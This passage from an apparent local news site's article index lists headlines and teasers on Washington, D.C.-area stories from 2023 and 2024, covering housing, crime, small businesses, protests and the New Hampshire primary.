close?](https://thewash.org/2024/09/24/backlash-over-bagels-will-call-your-mothers-georgetown-store-have-to-close/) - The bagel shop’s popularity has caused “objectionable” conditions for some neighbors. A zoning meeting on Wednesday will decide Call Your Mother’s fate. - [Vaping and other safety precautions discussed for the new school year](https://thewash.org/2024/09/17/vaping-and-other-safety-precautions-discussed-for-the-new-school-year/) - Bethesda-Chevy Chase High School officials and community members react to swirling ideas of vaping detectors and other safety measures in the school. - [George Washington University housing rules create competition for residents, students](https://thewash.org/2024/09/17/george-washington-university-housing-rules-create-competition-for-residents-students/) - Third-year students are no longer required to live on campus. Now, more students and area residents are searching for affordable housing options in Foggy Bottom. Tatum Oliver, a fourth-year student at George Washington University, is one of many students who sought off-campus housing for the academic year. After spending thousands of dollars every month on - [14th Street business security measures remain intact after neighboring burglary](https://thewash.org/2024/09/17/14th-street-business-security-measures-remain-intact-after-neighboring-burglary/) - Logan Circle business owners have mixed concerns after a high-profile merchandise heist. - [Media coverage of Donald Trump’s indictments raise concerns among some Americans](https://thewash.org/2023/08/04/media-coverage-of-donald-trumps-indictments-raise-concerns-among-some-americans/) - Former President Donald Trump’s polling numbers bolstered after his latest indictments, the latest polling shows. The media may be to blame, media consumers said. - [Families are coming back to museums. How do they keep kids engaged?](https://thewash.org/2024/05/27/families-are-coming-back-to-museums-how-do-they-keep-kids-engaged/) - Parents, museums try to involve children in more complex exhibits. - [D.C. shops thrive in the evolving age of electric bikes and scooters](https://thewash.org/2024/05/27/d-c-shops-thrive-in-the-evolving-age-of-electric-bikes-and-scooters/) - Electric bicycles and scooters have risen in popularity since the COVID-19 pandemic, but are people really benefiting from technological advancements in transportation. Some say yes. - [Capitol Hill 'makeover' falls short of reaching whole community](https://thewash.org/2024/05/27/capitol-hill-makeover-falls-short-of-reaching-whole-community/) - Residents and employees in the neighborhood say the parks are cleaner, but exorbitant costs hinder further growth. - [‘Wait and See’ presidential election spells uncertainty for E.V. owners](https://thewash.org/2024/05/27/wait-and-see-presidential-election-spells-uncertainty-for-e-v-owners/) - Biden's policies encouraged Americans to buy E.V.s in record-breaking numbers. Now, the presidential election could mean owners don’t see the benefits they were promised. - [AI in an art museum? Could be closer than you think](https://thewash.org/2024/05/27/ai-in-an-art-museum-could-be-closer-than-you-think/) - With the rise in AI-generated art, museum-goers indicate overwhelming interest in seeing AI in art museu - [Coffee shops, cafés grapple with post-pandemic, remote work trends](https://thewash.org/2024/05/27/coffee-shops-cafes-grapple-with-post-pandemic-remote-work-trends/) - Remote employees opt to work in coffee shops and cafés but the shift isn’t enough to meet pre-pandemic business levels. - [Far from the holiday crowds, this Smithsonian museum doesn’t mind the quiet](https://thewash.org/2024/05/27/far-from-the-holiday-crowds-this-smithsonian-museum-doesnt-mind-the-quiet/) - The Anacostia Community Museum prides itself on putting community first — whether or not the tourists follow. - [Memorial Day parking is free in D.C. Should it be?](https://thewash.org/2024/05/27/memorial-day-parking-is-free-in-d-c-should-it-be/) - Free parking is often touted as a way to get people into downtowns. But many Memorial Day drivers in D.C. were oblivious to it in the first place. - [D.C. street vendors persevere through tumultuous weather](https://thewash.org/2024/05/27/d-c-street-vendors-persevere-through-tumultuous-weather/) - From pouring rain to sweltering heat, independent sellers try to make a living. - [‘Can’t survive without it’: Contactless payment inflates vender prices](https://thewash.org/2024/05/27/cant-survive-without-it-contactless-payment-inflates-vender-prices/) - Customers take on financial burden for fees associated with Apple Pay and other digital wallets. - [Fighting for favorites](https://thewash.org/2024/02/06/fighting-for-favorites/) - Voters in NH look past the meet-and-greet events to focus on policy and actions. - [What is presidential?](https://thewash.org/2024/02/03/what-is-presidential/) - Faced with a ‘disappointing’ slate, voters assess what they’re looking for in a leader. - [24 hours with the Phillips campaign](https://thewash.org/2024/01/31/24-hours-with-the-phillips-campaign/) - Biden’s challenger talks about unity. - [Can Haley make her mark?](https://thewash.org/2024/01/29/can-haley-make-her-mark/) - Despite unfavorable odds, Nikki Haley and her supporters persist. - [The ‘stability’ factor in the New Hampshire primaries](https://thewash.org/2024/01/29/the-stability-factor-in-the-new-hampshire-primaries/) - Voters tout restoring common sense, stability. - [Media bias concerns primary voters](https://thewash.org/2024/01/29/media-bias-concerns-primary-voters/) - The New Hampshire primary is filled with retail politics, rallies and surprise appearances. - [Climate issues take center stage](https://thewash.org/2024/01/29/climate-issues-take-center-stage/) - Young climate protesters interrupt Haley, Trump rallies in New Hampshire. - [New Hampshire voters get educated on the candidates](https://thewash.org/2024/01/29/new-hampshire-voters-get-educated-on-the-candidates/) - A mix of political loyalties makes for an interesting primary. - [Biden-Trump rematch nears](https://thewash.org/2024/01/29/biden-trump-rematch-nears/) - Voters across the state vainly sought refuge in Nikki Haley and Dean Philipps as they looked to avoid repeat of 2020 general election. - [Voters split over impact of Trump’s immunity claims](https://thewash.org/2024/01/29/voters-split-over-impact-of-trumps-immunity-claims/) - Trump is using presidential immunity as a defense against indictments. - [Education on the ballot for many](https://thewash.org/2024/01/29/education-on-the-ballot-for-many/) - Voters say they want fun and affordable education. - [‘It goes to character’](https://thewash.org/2024/01/29/it-goes-to-character/) - Lifelong Republican voters enthused by Haley’s retail politics. - [Handling Hecklers: Trump vs. Haley](https://thewash.org/2024/01/25/handling-hecklers-trump-vs-haley/) - As retail politics ramped up ahead of the New Hampshire primary, protesters and hecklers made their mark on the 2024 campaign cycle. - [Texas abortion battles span from courtrooms to county roads](https://thewash.org/2024/01/25/texas-abortion-battles-span-from-courtrooms-to-county-roads/) - After the Supreme Court struck down Roe V. Wade in 2022, Texas is still battling access to abortions on all fronts. Now, some Texas towns are trying to stop abortion seekers from using county roads to cross state lines. Pro-choice advocates are fighting back. - [Haley delves into retail politics](https://thewash.org/2024/01/25/haley-delves-into-retail-politics/) - Multiple stops at breweries and pubs allowed Haley to stand out among tough competition. - [Affordability and climate change drive young people to vote](https://thewash.org/2024/01/24/affordability-and-climate-change-drive-young-people-to-vote/) - Young voters passionate about pertinent issues, but find the field uninspiring. - [PHOTOS - Dean Phillips Rally at Manchester HQ](https://thewash.org/2024/01/24/photos-dean-phillips-rally-at-manchester-hq/) - By Stephen Leverton Manchester, NH - In the lead-up to the New Hampshire primaries, Congressman Dean Phillips, who represents the third congressional district of Minnesota, held a rally at his campaign headquarters in Manchester, New Hampshire. Andrew Yang, a former 2020 presidential candidate, New York City mayoral candidate, and founder of the Forward Party, joined - [Looking for Joe, looking at other contenders](https://thewash.org/2024/01/24/looking-for-joe-looking-at-other-contenders/) - Biden’s absence in New Hampshire threatens to alienate local voters. - [Democrats warn: Primary highlights tie between democracy and reproductive rights](https://thewash.org/2024/01/24/democrats-warn-primary-highlights-tie-between-democracy-and-reproductive-rights/) - Concerns arise among the left that democracy is on the ballot. - [Haley makes final push to New Hampshire voters](https://thewash.org/2024/01/24/haley-makes-final-push-to-new-hampshire-voters/) - Nikki Haley, former U.S. ambassador to the U.N., urged voters to pick her over former president Donald Trump the night before the New Hampshire primary. - [For Nikki Haley, youth support crosses party lines](https://thewash.org/2024/01/23/for-nikki-haley-youth-support-crosses-party-lines/) - As former United Nations Ambassador Nikki Haley looks to build momentum in her bid to dethrone President Donald Trump and flip the White House red, she will likely need to build an ideologically diverse voting base to peel votes from both Trump and Biden. Among young voters, she may have some traction. - [A lifelong horseman reckons with the thoroughbred industry’s future](https://thewash.org/2023/12/18/a-lifelong-horseman-reckons-with-the-thoroughbred-industrys-future/) - Negative media attention and the introduction of a federal oversight committee for horse racing have not deterred a Kentucky veteran from championing the sport he loves. - [Police suicide numbers fall to a seven-year low](https://thewash.org/2023/12/16/police-suicide-numbers-fall-to-a-seven-year-low/) - Some surviving families fight an uphill battle over "honor" that dampens officers' career and an ability to obtain full benefits. - [Silver Spring outdoor market looks to provide fresh, accessible produce](https://thewash.org/2023/12/17/silver-spring-outdoor-market-looks-to-provide-fresh-accessible-produce/) - In many large cities, affordable fresh grains and vegetables can be difficult to find. A D.C.-based market organizer with ties to Silver Spring is looking to change the dynamic. - [Montgomery County ahead of schedule for providing free menstrual products to students](https://thewash.org/2023/12/17/montgomery-county-ahead-of-schedule-for-providing-free-menstrual-products-to-students/) - After Maryland enacted a law mandating all public middle and high schools in the state provide free menstrual products to students, Montgomery County Public Schools laid out an ambitious plan to provide multiple dispensers in its schools by 2025. Officials say they are ahead of schedule. - [Community voices clash with Montgomery County's lauded affordable housing plans](https://thewash.org/2023/12/12/community-voices-clash-with-montgomery-countys-lauded-affordable-housing-plans/) - In the ongoing debate surrounding affordable housing in Montgomery County, the tension between the county's initiatives and the sentiments of community members persists. While Montgomery County has garnered acclaim for its innovative approaches and successful programs in the realm of affordable housing, some residents express differing views on the ground. - [ANC commissioner still has concerns over DC library interim services](https://thewash.org/2023/12/12/anc-commissioner-still-has-concerns-over-dc-library-interim-services/) - The commissioner of the Southeast Library Task Force hopes to put pressure on the DC Public Library System to extend the hours of an interim service provided by the DCPL at the Arthur Capper Community Center, during the renovations. - [Tenleytown arson suspect arrested](https://thewash.org/2023/12/12/tenleytown-arson-suspect-arrested/) - D.C. authorities have arrested a suspect in connection with a series of dumpster fires in the Tenleytown area, spreading into Georgetown. The fire caused significant damage to properties, including businesses like Solar Nail and Waxing. - [Local man “lucky” to have stolen car back despite law enforcement gaffe](https://thewash.org/2023/12/12/local-man-lucky-to-have-stolen-car-back-despite-law-enforcement-gaffe/) - Putting Alexandria’s car theft into a broader perspective. - [Capitol Hill housing non-profit receives significant grant to combat homelessness](https://thewash.org/2023/12/12/capitol-hill-housing-non-profit-receives-significant-grant-to-combat-homelessness/) - A $2.5 million gift propels Everyone Home DC into the New Year. The nonprofit wants to expand support for families facing housing insecurity and homelessness with the largest gift in the organizations history. - [Wisconsin Avenue road work causes some bus delays](https://thewash.org/2023/12/12/wisconsin-avenue-road-work-causes-some-bus-delays/) - Road paving projects along Wisconsin Avenue NW will continue through early January, according to the District Department of Transportation. The road work project temporarily closes down lanes. - [Dozens arrested in Capitol protest demanding ceasefire amid Israel-Hamas conflict](https://thewash.org/2023/12/12/dozens-arrested-in-capitol-protest-demanding-ceasefire-amid-israel-hamas-conflict/) - The protests coincided with renewed Congressional negotiations on a comprehensive aid package to Israel. - [Georgetown University, Jesuits work to acknowledge links to slavery](https://thewash.org/2023/12/12/georgetown-university-jesuits-work-to-acknowledge-links-to-slavery/) - Georgetown University and the Society of Jesus have set up funds and scholarships for the descendants of the enslaved as the institutions acknowledge their history with slavery. - [Arlington, Alexandria workers ratify first public-sector union contract since 1970s](https://thewash.org/2023/12/12/arlington-alexandria-workers-ratify-first-public-sector-union-contract-since-1970s/) - Arlington and Alexandria labor and trades employees ratified the first two union contracts since a new collective bargaining law took effect in 2021. - [‘A huge step’: How a small business in Cleveland Park pushed to remain in the community](https://thewash.org/2023/12/12/a-huge-step-how-a-small-business-in-cleveland-park-pushed-to-remain-in-the-community/) - Femme Fatale’s team had the goal of purchasing its current retail space in Cleveland Park. With the help of a significant grant from Mayor Muriel Bowser’s administration, it achieved that goal. - [‘People are dying:’ Adams Morgan, Ward 1 residents scared about the rise of crime](https://thewash.org/2023/12/05/people-are-dying-adams-morgan-ward-1-residents-scared-about-the-rise-of-crime/) - Residents in Adams Morgan met to share fears of rising crime. Police admit the department lacks resources. - [Washington Post Guild stages biggest strike since the seventies](https://thewash.org/2023/12/07/washington-post-guild-stages-biggest-strike-since-the-seventies/) - Hundreds of Posties refuse to work, in hopes that paper executives will warm up to fairer labor practices. - [Body found at the site of a viral Ballston home explosion](https://thewash.org/2023/12/05/body-found-at-the-site-of-a-viral-ballston-home-explosion/) - A stunned community praises the efforts of law enforcement in minimizing damages from a massive fireball. - [‘A fast-food desert’: New York Ave. McDonald’s may close soon amid housing boom in NoMa](https://thewash.org/2023/12/05/a-fast-food-desert-new-york-ave-mcdonalds-may-close-soon-amid-housing-boom-in-noma/) - In NoMa, the looming closure of a familiar fast-food spot sparks community concerns. Some residents, accustomed to its affordability, fear the impact on daily life. A major real estate player's redevelopment plans add complexity, leaving the fate of the beloved spot uncertain. - [Navy working on land swap to facilitate new museum, retail development](https://thewash.org/2023/12/05/navy-working-on-land-swap-to-facilitate-new-museum-retail-development/) - The National Navy Museum and Redbrick LMD have struck a deal to trade land parcels for a mutually beneficial development plan. - [Francis Stevens parents lack confidence that DCPS can deliver promised modernized school](https://thewash.org/2023/12/05/francis-stevens-parents-lack-confidence-that-dcps-can-deliver-promised-modernized-school/) - Teachers and parents cite D.C. Public School’s lack of communication and poor temporary schooling facilities as reasons they have little faith in the success of the School Without Walls at Francis Stevens’ modernization project. The school is scheduled to re-open with the completed modernization in time for the upcoming school year. - [Graffiti complaints in the District reach five-year high](https://thewash.org/2023/12/05/graffiti-complaints-in-the-district-reach-five-year-high/) - Public artistic expression is under siege in D.C. One local graffiti artist said the problem won’t be solved until the city funds more art programs. - [Death of cyclist reveals cracks in DC’s Vision Zero Plan](https://thewash.org/2023/12/05/death-of-cyclist-reveals-cracks-in-dcs-vision-zero-plan/) - Traffic deaths in the District are up 55% from this time last year as the city nears 2024, the year Mayor Bowser declared the goal to end traffic violence. - [New online marketplace looks to help next generation of D.C. small businesses, entrepreneurs flourish](https://thewash.org/2023/12/05/new-online-marketplace-looks-to-help-next-generation-of-d-c-small-businesses-entrepreneurs-flourish/) - The platform allows small businesses, many local, to sell their products and services directly to consumers. It also teaches young entrepreneurs how to navigate the world of digital commerce. - [Americans adopt financial strategies to avoid sliding into debt](https://thewash.org/2023/12/04/americans-adopt-financial-strategies-to-avoid-sliding-into-debt/) - FTC recommends making a list of expenses to determine unnecessary spending. - [Losing a Michelin star spurs new motivation at Cranes](https://thewash.org/2023/12/02/losing-a-michelin-star-spurs-new-motivation-at-cranes/) - The restaurant is refining its menu and reimagining dishes in a push for excellence. - [Lawmakers face uncertain path for aid to Israel, Ukraine](https://thewash.org/2023/12/01/lawmakers-face-uncertain-path-for-aid-to-israel-ukraine/) - Republicans and Democrats are split multiple ways on foreign aid and its tie to the budget. Some prefer conditions before voting on a $105 billion Biden package for all additional foreign aid, including border security. - [Prayer vigil and peaceful protest for Palestinians staged during National Christmas Tree lighting](https://thewash.org/2023/11/30/prayer-vigil-and-peaceful-protest-for-palestinians-staged-during-national-christmas-tree-lighting/) - A group of about 30 people gathered at the Ellipse to call for peace in Palestine. - [AU students march for greater access to emergency contraceptives on campus](https://thewash.org/2023/11/30/au-students-march-for-greater-access-to-emergency-contraceptives-on-campus/) - American University students are demanding the university provide vending machines that dispense emergency contraceptives. - [Lawmakers and intelligence officials spar over security funding](https://thewash.org/2023/11/15/lawmakers-and-intelligence-officials-spar-over-security-funding/) - Top security officials today called for more funding for intelligence agencies. But their pleas were derailed at a House hearing by partisan bickering among lawmakers. - [Montgomery County Public Schools brace for high precipitation winter](https://thewash.org/2023/11/29/montgomery-county-public-schools-brace-for-high-precipitation-winter/) - As meteorologists predict up to 40 inches of snowfall this winter, Montgomery County residents voice concerns regarding county snow-clearing infrastructure and school cancellation policies. - [UDC's New Free Master's in Social Work: A Response to D.C.'s Social Worker Shortage](https://thewash.org/2023/11/28/udcs-new-free-masters-in-social-work-a-response-to-d-c-s-social-worker-shortage/) - D.C. Council signs a bill that will create a free Master's in Social Work at UDC, to address the city's pressing social worker shortage amid rising homelessness. - [Experts commend Alexandria public schools for new telemental health partnership](https://thewash.org/2023/11/28/experts-commend-alexandria-public-schools-for-new-telemental-health-partnership/) - “Technology has been a godsend” for students signing-up to receive treatment from Hazel Health. - [New Arlington councilmembers promise to continue zoning debate](https://thewash.org/2023/11/28/new-arlington-councilmembers-promise-to-continue-zoning-debate/) - New county board members say the "missing middle" zoning plan needs to be reworked. - [DDOT seeks funding for SE/SW Freeway bridge repairs](https://thewash.org/2023/11/28/ddot-seeks-funding-for-se-sw-freeway-bridge-repairs/) - Bridges on the I-695 SE/SW Freeway need repairs, but residents can expect to see construction begin in 2026 at the earliest. - [Crime is rising in Georgetown and civic groups want the District to act](https://thewash.org/2023/11/28/crime-is-rising-in-georgetown-and-civic-groups-want-the-district-to-act/) - The Metropolitan Police Department reports that crime in the neighborhood is up 27%. That increase is mainly due to an increase in robbery, theft, and vehicle theft - [Business employees face parking issues amid construction](https://thewash.org/2023/11/28/business-employees-face-parking-issues-amid-construction/) - Parking issues plague Bethesda's Elmo Avenue due to new apartment construction. Neighborhood businesses and residents complain construction workers are taking over the downtown parking garage, leaving few open options. - [Rock Creek Conservancy series highlights the ugly past of a beautiful space](https://thewash.org/2023/11/28/rock-creek-conservancy-series-highlights-the-ugly-past-of-a-beautiful-space/) - The organization highlights how, alongside other park partners, the group wants to tell stories at the intersection of race, history, and Rock Creek, covering a wide variety of topics in northern D.C. - [DMV asylum applicants see future at stake in government funding fight](https://thewash.org/2023/11/19/dmv-asylum-applicants-see-future-at-stake-in-government-funding-fight/) - An effort to help clear the almost one million backlog in affirmative asylum applications could be left out of 2024 government funding commitments. - [The Fog of Disinformation: A podcast on the spread of disinformation in the age of social media](https://thewash.org/2023/11/17/the-fog-of-disinformation-a-podcast-on-the-spread-of-disinformation-in-the-age-of-social-media/) - With new technology, one click is all it takes to share false information. Misleading content on health or political issues can be spread through various channels, such as podcasts and social media. Harmful content has pushed educators to devise a plan to put a stop to disinformation. This podcast was reported and produced by graduate - [Fire Weather Watch issued in Northern Virginia](https://thewash.org/2023/11/17/fire-weather-watch-issued-in-northern-virginia/) - The National Weather Service issued a fire weather watch for parts of Northern Virginia this afternoon. Arlington, Alexandria, and Fairfax are among those jurisdictions impacted by the fire weather watch. In Northern Virginia, a fire weather watch is announced when there is potential for a red flag warning to be issued in the near future. - [Anti-war protestors clash in front of the White House](https://thewash.org/2023/03/17/anti-war-protestors-clash-in-front-of-the-white-house/) - Secret Service pushes protesters back into Lafayette Park. - [Wildlife specialists hunt snakes to help the public understand their environmental impact](https://thewash.org/2023/04/17/wildlife-specialists-hunt-snakes-to-help-the-public-understand-their-environmental-impact/) - Herping is a growing hobby in the DMV. - [Washington Post employees protest buyouts, slowed contract negotiations](https://thewash.org/2023/11/16/washington-post-employees-protest-buyouts-slowed-contract-negotiations/) - Dozens of Washington Post employees gathered in protest Thursday morning. Their demands included a more equitable buyout package and a raise for the company’s lowest-paid workers, and mental healthcare benefits. - [Jewish groups descend on Washington to support Israel](https://thewash.org/2023/11/15/jewish-groups-descend-on-washington-to-support-israel/) - Tens of thousands gathered at the National Mall in Washington D.C. on Tuesday, draped in the white and blue flag of Israel, as they came together to denounce antisemitism. - [Lawmakers doubt Justices will enforce their own ethics code](https://thewash.org/2023/11/15/lawmakers-doubt-justices-will-enforce-their-own-ethics-code/) - The Supreme Court just published its first-ever code of conduct after months of controversy. But ‘enforcement is a big problem,’ one representative said. - [‘It's critical that they get a voice’: Rockville to vote on lowering voting age in upcoming city election](https://thewash.org/2023/10/31/its-critical-that-they-get-a-voice-rockville-to-vote-on-lowering-voting-age-in-upcoming-city-election/) - In the forthcoming Rockville elections on November 7, voters will decide whether 16 and 17-year-olds should gain the right to vote in local elections. This ballot proposal aims to involve younger residents in shaping their community's future. - [Adams Morgan Plaza lawsuit on hold while affordable housing goals are discussed with new owners](https://thewash.org/2023/11/14/adams-morgan-plaza-lawsuit-on-hold-while-affordable-housing-goals-are-discussed-with-new-owners/) - Jubilee Housing recently acquired the lot. Some residents remain concerned about the acquisition. - [Special operations rescue two men from NBC4 broadcast tower](https://thewash.org/2023/11/14/special-operations-rescue-two-men-from-nbc4-broadcast-tower/) - DC Fire and EMS rescued employees after 3 hours. - [Frustration mounts in Dupont Circle after another child gets hit around Ross Elementary](https://thewash.org/2023/11/14/frustration-mounts-in-dupont-circle-after-another-child-gets-hit-around-ross-elementary/) - Two children have been hit crossing streets near Ross Elementary since the District Department of Transportation created the Safe Routes to School Plan in 2020. - [Contentious West End housing project faces litigation and high maintenance fees, likely delaying its opening](https://thewash.org/2023/11/14/contentious-west-end-housing-project-faces-litigation-and-high-maintenance-fees-likely-delaying-its-opening/) - Lawsuits and financial concerns continue to plague D.C.’s proposed West End bridge housing project, the Aston, as construction reports reveal that the facility is estimated to cost the city about $8 million in repairs within the next nine years. The District initially bought the building for $27.5 million from George Washington University over the summer. - [Navy Yard ANC calls for license revocation for apartment management over poor conditions](https://thewash.org/2023/11/14/navy-yard-anc-calls-for-license-revocation-for-apartment-management-over-poor-conditions/) - Residents of “luxury” apartments complain about pests, maintenance failures, floods, and bad management. - [Adams Morgan restaurants weigh in on Fed’s proposed service charge regulation](https://thewash.org/2023/11/14/adams-morgan-restaurants-weigh-in-on-feds-proposed-service-charge-regulation/) - Some customers at restaurants in Adams Morgan are confused by vague service charges on receipts. The Federal Trade Commission is working to create more transparency on where those dollars go. - [Logan small businesses say Bowser’s crime bill doesn’t help them much](https://thewash.org/2023/11/14/logan-small-businesses-say-bowsers-crime-bill-doesnt-help-them-much/) - As stores like CVS and Giant find themselves victims of organized retail theft, smaller businesses say Mayor Muriel Bowser’s proposed new legislation isn’t meant for them since similar crimes don’t affect them as much. - [Residents anticipate change as D.C. presents guidance for Wisconsin Avenue.](https://thewash.org/2023/11/07/residents-anticipate-change-as-d-c-presents-guidance-for-wisconsin-avenue/) - The document was produced through a year-long community engagement process and was released back in September. - [Upcoming WMATA bus garage raises concern among Friendship Heights residents](https://thewash.org/2023/11/07/upcoming-wmata-bus-garage-raises-concern-among-friendship-heights-residents/) - WMATA’s plans to convert a Lord & Taylor property into a garage for zero-emissions buses raised concerns and sparked conversation among members of the Friendship Heights community. - [High school athletes to sign letters of intent hoping to ride the wave of NCAA female sport popularity.](https://thewash.org/2023/11/07/high-school-athletes-to-sign-letters-of-intent-hoping-to-ride-the-wave-of-ncaa-female-sport-popularity/) - Alexandria rowers make commitments to continue athletic careers. - [Native plants gain ground, bolstering environmental resilience](https://thewash.org/2023/11/07/native-plants-gain-ground-bolstering-environmental-resilience/) - Nursery businesses have witnessed a surge in the utilization of native plants in gardens and landscaping throughout Bethesda. Not only has this trend enhanced the region's aesthetic appeal, but it has also played a vital role in bolstering the local environment. - [Arlington residents embrace mail-in ballots](https://thewash.org/2023/11/07/arlington-residents-embrace-mail-in-ballots/) - Isolation during the pandemic sparked a trend toward using mail-in ballots rather than voting in person on election day. The county expects a quarter of votes to come from mail-in ballots. - [Video reveals DC police pepper sprayed a crowd of teens at Tenleytown Wawa store](https://thewash.org/2023/11/06/video-reveals-dc-police-pepper-sprayed-a-crowd-of-teens-at-tenleytown-wawa-store/) - Some parents raise concerns about police use of force on high schoolers. - [Early Voting reeling in more voters](https://thewash.org/2023/11/04/early-voting-reeling-in-more-voters/) - Democrats at an advantage with Republicans pushing to increase numbers. - [Fairfax County Republicans push ‘no’ vote on school bond referendum despite strong public support](https://thewash.org/2023/11/04/fairfax-county-republicans-push-no-vote-on-school-bond-referendum-despite-strong-public-support/) - Republicans in Fairfax County are urging voters to reject issuing $435 million in new school bonds, citing financial woes and misuse. - [GWU students on canceled presidential inauguration: “She’s kind of digging her own grave”](https://thewash.org/2023/11/02/gwu-students-on-canceled-presidential-inauguration-shes-kind-of-digging-her-own-grave/) - The student body remains relatively indifferent to the canceled presidential inauguration events. However, many say this is not a good look for the new president, Ellen Granberg. - [Despite improvements, DC still lacks diversity in the classroom that could help Hispanic students](https://thewash.org/2023/10/17/despite-improvements-dc-still-lacks-diversity-in-the-classroom-that-could-help-latino-students/) - Test scores are rising post-pandemic, albeit slowly. Local expert said more diversity might help. - [Proposal from Logan, DuPont ANCs for 15th Street safety draws mixed reviews from locals](https://thewash.org/2023/10/31/proposal-from-logan-dupont-ancs-for-15th-street-safety-draws-mixed-reviews-from-locals/) - Residents support the intent behind the resolution but don’t agree with all aspects. - [Mayor’s proposed anti-crime bill raises red flags for some District residents](https://thewash.org/2023/10/31/mayors-proposed-anti-crime-bill-raises-red-flags-for-some-district-residents/) - From car pursuits to loosening restrictions on neck restraints, some think the bill will make D.C. less safe. - [Dupont Circle museums provide support for Jewish and Palestinian communities during the Israel-Hamas War](https://thewash.org/2023/10/31/dupont-circle-museums-provide-support-for-jewish-and-palestinian-communities-during-the-israel-hamas-war/) - The Museum of the Palestinian People and the National Museum of American Jewish Military History stand ready to aid and support Jewish and Palestinians in the D.C. area as the Israel-Hamas war unfolds. - [The Black Georgetown Foundation works to protect Georgetown's African American cemeteries](https://thewash.org/2023/10/31/the-black-georgetown-foundation-works-to-protect-georgetowns-african-american-cemeteries/) - The foundation has been working to preserve and restore the historically Black sacred burial ground, Mount Zion-Female Union Band Society Cemeteries, which is tucked away on Georgetown’s Q Street. - [GWU to inaugurate its first female president in 200 years: here’s why it matters](https://thewash.org/2023/10/31/gwu-to-inaugurate-its-first-female-president-in-200-years-heres-why-it-matters/) - Ellen Granberg is the first woman to head George Washington University. It’s well documented that representation matters, and while there are more women in higher education than before, women still face unique challenges. - [Capitol City Circus School holds final performance of all-staff show](https://thewash.org/2023/10/31/capitol-city-circus-school-holds-final-performance-of-all-staff-show/) - The Halloween-themed show allowed the school’s staff to take center stage. - [D.C.'s medical cannabis overhaul](https://thewash.org/2023/10/24/dcs-medical-cannabis-overhaul/) - Changes in medical cannabis laws in D.C. are setting the stage for a potential revolution in the local cannabis industry. Experts are excited about these changes but express concerns with the new regulatory system's ability to meet the needs of the public. - [2023 Halloween is a bumper year for the costume industry](https://thewash.org/2023/10/28/2023-halloween-is-a-bumper-year-for-the-costume-industry/) - Halloween costume sales are expected to grow by more than a third from pre-pandemic levels, with adult costumes driving the expansion. - [Small businesses to vacate space for Westbard Shopping Center redevelopment](https://thewash.org/2023/10/24/small-businesses-to-vacate-space-for-westbard-shopping-center-redevelopment/) - Bethesda small businesses were ordered to vacate the development zone by November 30. With a long history in the neighborhood, shop owners said higher rental prices are forcing them to close for good. - [Experts split on whether uncontested races benefit Democrats](https://thewash.org/2023/10/24/experts-split-on-whether-uncontested-races-benefit-democrats/) - Three of the four political offices serving Alexandria don’t have a Republican running. - [Underpass development moves forward to connect Navy Yard, Capitol Hill](https://thewash.org/2023/10/24/underpass-development-moves-forward-to-connect-navy-yard-capitol-hill/) - Difficulties with contractors held up progress to a small degree, but project managers expect to see construction by the end of the year. - [Housing prices raise concerns among Cleveland Park residents](https://thewash.org/2023/10/24/housing-prices-raise-concerns-among-cleveland-park-residents/) - Residents wonder what the future of the housing market will be like in the neighborhood as housing prices continue to rise. - [Drivers in Arlington who fail to stop for pedestrians could face $500 fines](https://thewash.org/2023/10/24/drivers-in-arlington-who-fail-to-stop-for-pedestrians-could-face-500-fines/) - The Arlington County Board fixes a discrepancy between Arlington’s traffic laws and Virginia’s, and now drivers who zoom past pedestrians in crosswalks might have to pay. - [Hundreds arrested on Capitol Hill during protest of Israel-Hamas war](https://thewash.org/2023/10/18/hundreds-arrested-on-capitol-hill-during-protest-of-israel-hamas-war/) - Police loaded busses and vans with protestors after they were arrested for demonstrating inside a House office building. - [Roads closed for protesters in front of Israeli Embassy in DC](https://thewash.org/2023/10/18/roads-closed-for-protesters-in-front-of-israeli-embassy-in-dc/) - Hundreds gathered in front of the Israeli Embassy in D.C., protesting Israel’s attacks on Gaza. A large police presence closed Van Ness Street between Connecticut Ave and Reno Road Wednesday night. This area is the location of many embassies, including China's, Ghana's and Pakistan's. Similar protests have taken place across the world this week. Protesters - [Bars fight for new liquor liability rules, face pushback](https://thewash.org/2023/10/17/bars-fight-for-looser-liquor-liability-rules-face-pushback/) - Liquor legislation aimed at reforming bar accountability draws supporters and detractors alike. - [Logan Circle businesses face existential fears as fall Covid wave arrives](https://thewash.org/2023/09/19/logan-circle-businesses-face-existential-fears-as-fall-covid-wave-arrives/) - Changes in consumer practices, social detachment, and a stark shift in the economic landscape are posing challenges to small businesses in the area. - [Bipartisan group of lawmakers hold vigil for Israel at Capitol](https://thewash.org/2023/10/12/bipartisan-group-of-lawmakers-hold-vigil-for-israel-at-capitol/) - Members of the House show rare agreement in support of Israel. - [Art event looks to uplift Logan Circle economy](https://thewash.org/2023/10/03/art-event-looks-to-uplift-logan-circle-economy/) - Small business experts and artists say creativity can be a money maker for a neighborhood in transition. - [GW University officers have started to carry guns, and many students are unhappy](https://thewash.org/2023/10/17/gw-university-officers-have-started-to-carry-guns-and-many-students-are-unhappy/) - GWU students say arming campus police officers is unnecessary and that the university fails to address actual safety concerns. - [Small businesses can't compete with high rent in Dupont Circle](https://thewash.org/2023/10/17/small-businesses-cant-compete-with-high-rent-in-dupont-circle/) - Most commercial real estate rent prices in Dupont Circle range from $10,000-$24,000, according to the neighborhood Business Improvement District. - [D.C.'s Dave Thomas Circle Renamed Mamie 'Peanut' Johnson Plaza: A Community Tribute](https://thewash.org/2023/10/17/d-c-s-dave-thomas-circle-renamed-mamie-peanut-johnson-plaza-a-community-tribute/) - In a tribute to a beloved D.C. resident, the iconic intersection in NoMa, informally known as Dave Thomas Circle, is officially renamed Mamie 'Peanut' Johnson Plaza through a community-driven initiative. - [More safety ambassadors join the force as crime grows in Adams Morgan](https://thewash.org/2023/10/17/more-safety-ambassadors-join-the-force-as-crime-grows-in-adams-morgan/) - The Adams Morgan Partnership BID wants to bulk up its ambassador program to help curb various security issues in the community. It has three ambassadors now. More could soon come. - [The Metro’s rail expansion map could include Georgetown](https://thewash.org/2023/10/17/the-metros-rail-expansion-map-could-include-georgetown/) - The ANC’s support of WMATA’s multi-billion dollar rail expansion could help bring a new Metro station to Georgetown. - [Fire disrupts Red Line at the Tenleytown-AU Station](https://thewash.org/2023/10/15/fire-disrupts-red-line-at-the-tenleytown-au-station/) - On Friday evening, the Red Line faced disruptions as the Tenleytown-AU metro station closed due to a reported fire incident, causing delays and inconveniences for commuters. - [Protesters criticize Biden in march to White House in support of Palestine](https://thewash.org/2023/10/14/protesters-criticize-biden-in-march-to-white-house-in-support-of-palestine/) - Protesters took to the streets of D.C. to show support for Gaza and 